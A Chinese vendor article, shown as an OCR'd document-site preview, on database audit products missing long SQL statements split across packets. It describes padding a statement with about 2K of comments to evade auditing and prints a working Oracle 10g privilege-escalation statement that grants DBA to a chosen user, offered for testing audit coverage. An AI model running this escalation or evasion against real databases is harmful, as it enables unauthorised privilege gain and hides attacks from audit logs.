数据库审计产品常见缺陷之二长SQL语句漏审_第1页
数据库审计产品常见缺陷之二长SQL语句漏审_第2页
数据库审计产品常见缺陷之二长SQL语句漏审_第3页
数据库审计产品常见缺陷之二长SQL语句漏审_第4页
全文预览已结束

付费下载

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、数据库审计产品常见缺陷之(二)长 SQL 语句漏审大多数的 SQL 语句都在 1K 以里长度,市面上的数据库审计产品大多都能准 确记录下,也能实现正常的解析;但在 SQL 语句超过 1.5K 时,很多的数据库审 计产品就会发生漏审,或者只能审计下部分 SQL 语句。一般 Oracle 一个通讯包的长度在 2K ,单一包内能够容纳的语句长度大约在 1.4K 多一点(大约为 1460 );超过这个大小的 SQL 语句一般会拆分成多包;在 Oracle 11g下通常通讯包为2K,最大可以达到8K;对于Oracle数据库没有明确 说明可兼容的 SQL 语句的长度,有的说 32K 或 64K 是个临界点

2、,但笔者也曾作 过尝试 2M 做的 SQL 语句也能发送并被 Oracle 正常解析。对于一些数据库审计产品, 由于没有将多个 SQL 通讯包进行有效解析和关联, 在发生长SQL语句时会发生无法解析或解析不全的情况;具体表现是,对于长SQL 语句并未记录,或仅记录了前半部分。这种情况的危害是,对于有些业务系统中自身就包含长 SQL 语句,比如经分 系统,报表系统,这些 SQL 语句会被漏记;同时,一些黑客或攻击人员会利用这 样的一些漏洞,进行数据库攻击而不留下痕迹。比如,若某个数据库审计产品, 是基于单包解析机制进行的,则对于超过 1.5K 的 SQL 语句无法记录或仅记录了 前1.5K,则攻

3、击者可以首先加入1.5K长的注释,然后再写语句,这样会发生漏审 或被审计下来的信息无效。以下是来自于某个真实应用的 SQL 语句,达到 1.9K ;若是读者有相关的数据 库审计产品,可以用 Toad 或 PL/SQL 这样的工具进行发送, 观测下所拥有的产品 是否能够审计下来,审计记录是否完全。select spname,bm,sum(num) as heji,sum(case when fddm=002 then num else 0 end) as shipai,sum(case when fddm=063 then num else 0 end) as songbo,sum(case w

4、hen fddm=005 then num else 0 end) as duobao,sum(case when fddm=006 then num else 0 end) as guangwei,sum(case when fddm=007 then num else 0 end) as jianshe,sum(case when fddm=008 then num else 0 end) as donghua,sum(case when fddm=039 then num else 0 end) as tongdong,sum(case when fddm=010 then num el

5、se 0 end) as jiebei,sum(case when fddm=011 then numelse 0 end) as sanyuanli,sum(case when fddm=012 then num else 0 end) as nantai,sum(case when fddm=013 then num else 0 end) as huanshi,sum(case when fddm=014 then num else 0 end) as zhanqian,sum(case when fddm=015 then numelse 0 end) as lujiang,sum(c

6、ase when fddm=016 then numelse 0 end) as dongchuan,sum(case when fddm=017 then num else 0 end) as taisha,sum(case when fddm=018 then num else 0 end) as huifuxi,sum(case when fddm=019 then num else 0 end) as zhujiang,sum(case when fddm=041 then num else 0 end) as donghu,sum(case when fddm=021 then nu

7、m else 0 end) as wenming,sum(case when fddm=062 then num else 0 end) as huifu2,sum(case when fddm=042 then num else 0 end) as shiji,sum(case when fddm=043 then num else 0 end) as xincheng,sum(case when fddm=045 then numelse 0 end) as gaoqiao,sum(case when fddm=046 then numelse 0 end) as shixi,sum(ca

8、se whenfddm=047 then num else 0 end) as nanzhou,sum(case when fddm=048 then num else 0 end) as sanyuanlidadao,sum(case when fddm=050 then num else 0 end) as jingxi,sum(case when fddm=051 then num else 0 end) as chigang,sum(case when fddm=052 then numelse 0 end) as panfu,sum(case whenfddm=053 then nu

9、melse 0 end) as jichangxi,sum(case when fddm=054 then numelse 0 end)as shengdi,sum(case when fddm=O55then num else 0 end) aswendenan, sum(case whe n fddm=O56 the n num else 0 end) as ron ghua nan from sale3 where khn ame in ($khbmem) group by bm;以下是另一个模拟的攻击性的 SQL语句,这个语句在Oracle 10g上运行,将 把一个普通的数据库用户提权

10、到 DBA ;但我们在对这个语句发送前,在前面用2K 的注释进行掩护,请笔者观测下所拥有的数据库审计产品能否将这个语句审计下 来,审计结果是否完善。selectSYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FO O,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE gra nt dba t o NormalUser ”;END;”;END;-.SYS ,0,1,0) from dua

11、l;在实验时,请读者别忘了将NormalUser改为实际的用户名,则运行通过后将 实现提权。SQL Server的通讯包一般在4K,超过4088个字符的SQL语句将被拆分; SQL Server支持的连续SQL通讯可达到256M,而对于SQL语句的长度没有明 确限制(据网上的测试数据,应该超过 228K)。MySQL的通讯包默认在1M,在单个包的内的语句可以被执行,MySQL不支持将SQL语句拆分到多个包中。读者可以自行构造一些针对 SQL Server、MySQL的SQL语句进行尝试,看 我们所拥有的数据库审计产品是否能进行准确的审计记录。要注意的是,类似于 Toad、PL/SQL这样的客户

12、端工具通常都有SQL语句的长度限制,但这往往不是 数据库的SQL长度限制。传统的基于网络审计发展而来的数据库审计产品一般都没有实现跨包的SQL语句拼接,这些产品在测试或一般性的应用环境都不易暴漏出问题,但对于一些 复杂的经营分析系统,基于自动 SQL语句拼接编程的0A系统等,将会发生漏审 的状况。通常在发生漏审时,用户大多得到的解释都是归结于网络流量镜像的不 稳定,可能造成了通讯包丢失。从数据库审计产品开发的角度,不可能对 SQL语句的长度不限长地记录,关 键是要看相关产品指标是否满足所应用的业务环境需求,以及能否有效过滤掉攻 击性语句的掩护性字符。关于安华金和安华金和专注于数据库安全领域,由长期致力于数据库内核研发和信息安全领域的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论